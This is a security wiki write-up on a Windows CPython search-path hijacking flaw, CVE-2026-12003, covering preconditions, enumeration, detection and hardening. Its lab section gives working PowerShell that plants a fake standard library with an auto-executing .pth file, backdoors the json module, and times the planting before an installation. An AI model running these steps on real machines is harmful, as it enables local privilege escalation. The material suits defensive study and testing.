windows-cpython-build-landmark-sys-path-hijacking.md (9132B)
1 --- 2 title: "Windows CPython Build-Landmark and sys.path Hijacking" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/windows-cpython-build-landmark-sys-path-hijacking.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/windows-cpython-build-landmark-sys-path-hijacking.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Windows CPython Build-Landmark and `sys.path` Hijacking 14 15 A runtime may retain relative paths that were intended only for its build tree. If an installed privileged runtime resolves one of those paths into a low-privilege-writable directory, an attacker can plant the expected **build landmark** and make the runtime trust an alternative library prefix. CVE-2026-12003 is a Windows CPython example: a planted `Modules\Setup.local` can redirect the standard-library entry in `sys.path` without modifying the protected Python installation.<sup>[[1]](#references)[[2]](#references)</sup> 16 17 ## CPython path-construction chain 18 19 Affected Windows builds compiled `VPATH=..\..` and exposed it as `sys._vpath`. The vulnerable fallback in `Modules/getpath.py` treated `VPATH\Modules\Setup.local` as evidence that the interpreter was running from a source tree; the following data flow turns that build-time value into a runtime search-path primitive.<sup>[[1]](#references)[[2]](#references)</sup> 20 21 | Stage | Derived value for `C:\Program Files\Python314\python.exe` | 22 | --- | --- | 23 | Compiled build path | `VPATH=..\..` | 24 | Runtime build landmark | `C:\Program Files\Python314\..\..\Modules\Setup.local` | 25 | Attacker-created landmark | `C:\Modules\Setup.local` | 26 | Selected `build_prefix` | `C:\` | 27 | Selected standard library | `C:\Lib` | 28 | Result | Attacker-controlled `C:\Lib` is appended to `sys.path` | 29 30 The check is a fallback used when the more specific `pybuilddir.txt` beside the executable is absent or unreadable. This matters because a low-privilege user may be unable to change `C:\Program Files\Python314`, yet still be able to create new directories at `C:\`. The later privileged `python.exe` process loads Python code using its own access token.<sup>[[1]](#references)[[2]](#references)</sup> 31 32 ### Preconditions 33 34 Treat this as a privilege boundary only when all of these conditions hold:<sup>[[1]](#references)[[2]](#references)</sup> 35 36 - The target is an affected **Windows CPython** build; the vulnerable path logic is not a Python-language property. 37 - The directory obtained by resolving `..\..` from the directory containing `python.exe` permits a less-privileged user to create the landmark and `Lib` tree. 38 - A higher-privileged user, service, installer, or software-deployment account later starts that interpreter. 39 - No path-isolation configuration overrides the vulnerable discovery path. 40 41 ## Enumeration 42 43 Inspect both the compiled value and the effective search path. An exposed `..\..` value is a useful lead, but it is not proof of exploitability: also resolve the path, test ACLs, and confirm that a planted landmark would be outside the protected installation.<sup>[[1]](#references)[[2]](#references)</sup> 44 45 ```powershell 46 python -c "import os,sys; print(sys.executable); print(getattr(sys,'_vpath',None)); print(*sys.path, sep='\n')" 47 48 $pythonDir = python -c "import os,sys; print(os.path.dirname(sys.executable))" 49 $prefix = [IO.Path]::GetFullPath((Join-Path $pythonDir '..\..')) 50 $prefix 51 icacls $prefix 52 ``` 53 54 Do not restrict the assessment to official installers. For every product that bundles `python.exe`, resolve its `sys._vpath` relative to the actual executable directory and review the ACLs on the resulting `Modules` and `Lib` locations. A deeper installation path may resolve to a different writable application or vendor directory instead of `C:\`.<sup>[[1]](#references)</sup> 55 56 ## Lab exploitation workflow 57 58 The following lab PoC mirrors enough of the legitimate runtime below the selected prefix for Python to initialize, adds an executable `.pth` line, and finally creates the landmark. Create the payload before the landmark to avoid leaving the interpreter temporarily pointed at an incomplete library tree.<sup>[[1]](#references)</sup> 59 60 ```powershell 61 $pythonDir = python -c "import os,sys; print(os.path.dirname(sys.executable))" 62 $root = [IO.Path]::GetFullPath((Join-Path $pythonDir '..\..')) 63 robocopy /E "$pythonDir\Lib" "$root\Lib" | Out-Null 64 robocopy /E "$pythonDir\DLLs" "$root\Lib" | Out-Null 65 New-Item "$root\Lib\site-packages" -ItemType Directory -Force | Out-Null 66 'import subprocess;subprocess.run(["cmd.exe","/c","whoami > %TEMP%\\py-landmark.txt"],shell=False)' | 67 Set-Content "$root\Lib\site-packages\audit.pth" -Encoding Ascii 68 New-Item "$root\Modules" -ItemType Directory -Force | Out-Null 69 New-Item "$root\Modules\Setup.local" -ItemType File -Force | Out-Null 70 ``` 71 72 During normal site initialization, Python processes `.pth` files in recognized site-packages directories. Only lines beginning with `import` followed by whitespace are executed, and the executable statement must stay on one physical line; `python -S` suppresses the automatic `site` import and therefore this trigger.<sup>[[1]](#references)[[4]](#references)</sup> 73 74 ### Import-triggered alternative 75 76 Startup execution is not required. After reproducing the legitimate library tree, backdoor a module that a privileged script predictably imports. For example, adding code to the planted `Lib\json\__init__.py` executes when the victim imports `json`; choosing a reliable but not universally imported module can make the trigger less noisy.<sup>[[1]](#references)</sup> 77 78 ```powershell 79 'open(r"C:\Windows\Temp\json-import-token.txt","w").write(__import__("subprocess").check_output(["whoami"]).decode())' | 80 Add-Content "$root\Lib\json\__init__.py" -Encoding Ascii 81 ``` 82 83 This variant still inherits the importing process token, but it depends on the target application importing the modified module. Preserve the original module behavior when testing real software or the import may fail before the intended privileged workflow completes.<sup>[[1]](#references)</sup> 84 85 ## Pre-installation planting 86 87 Search-path planting can precede installation. A low-privilege user can prepare the future `Lib` tree and `Modules\Setup.local`, then wait for a privileged software portal, help-desk workflow, or deployment system to perform an all-users installation. Installers that launch the new interpreter to install packages or precompile the standard library can trigger the payload under the deployment account without an administrator manually opening Python.<sup>[[1]](#references)</sup> 88 89 This also changes deployment review: inspect writable ancestors and pre-existing landmark/library directories **before** installing or upgrading a bundled runtime, rather than checking only the final installation directory after deployment.<sup>[[1]](#references)</sup> 90 91 ## Detection and hardening 92 93 Useful host pivots are the unexpected landmark and library tree, followed by a privileged Python launch. Hunt for `Modules\Setup.local`, root-level or otherwise out-of-place `Lib\site-packages\*.pth`, copied standard-library packages, and module files whose owner or creation time differs from the protected installation. Correlate their creation by a standard user with elevated `python.exe` spawning `cmd.exe`, `powershell.exe`, account-management tools, or other unusual children.<sup>[[1]](#references)</sup> 94 95 ```powershell 96 Get-Item C:\Modules\Setup.local -ErrorAction SilentlyContinue | Format-List FullName,CreationTime,LastWriteTime 97 Get-ChildItem C:\Lib\site-packages -Filter *.pth -ErrorAction SilentlyContinue | 98 Select-Object FullName,CreationTime,LastWriteTime 99 Get-ChildItem C:\Lib -Recurse -File -ErrorAction SilentlyContinue | 100 Get-Acl | Where-Object Owner -notmatch 'TrustedInstaller|Administrators|SYSTEM' 101 ``` 102 103 The upstream fix removes the `VPATH\Modules\Setup.local` fallback and makes `pybuilddir.txt` the sole build-tree indicator. Prefer a fixed build or a per-user installation managed with the current Python install manager. Where upgrading is temporarily impossible, protect the resolved ancestor and pre-create `Modules` with restrictive ACLs; controlled `._pth` files or `PYTHONHOME` can also alter discovery, but require application compatibility testing.<sup>[[1]](#references)[[2]](#references)[[3]](#references)</sup> 104 105 ## References 106 107 - [1] [Bishop Fox - CVE-2026-12003: Windows CPython Search-Path Hijacking and Local Privilege Escalation](https://bishopfox.com/blog/python-software-foundation-python-3-11-0a3-to-3-15-0b2) 108 - [2] [CPython issue #151544 - In-tree search paths can be enabled without modifying install directory](https://github.com/python/cpython/issues/151544) 109 - [3] [CPython pull request #151545 - Remove the `VPATH/Modules/Setup.local` fallback](https://github.com/python/cpython/pull/151545) 110 - [4] [Python documentation - `site` path configuration files](https://docs.python.org/3/library/site.html)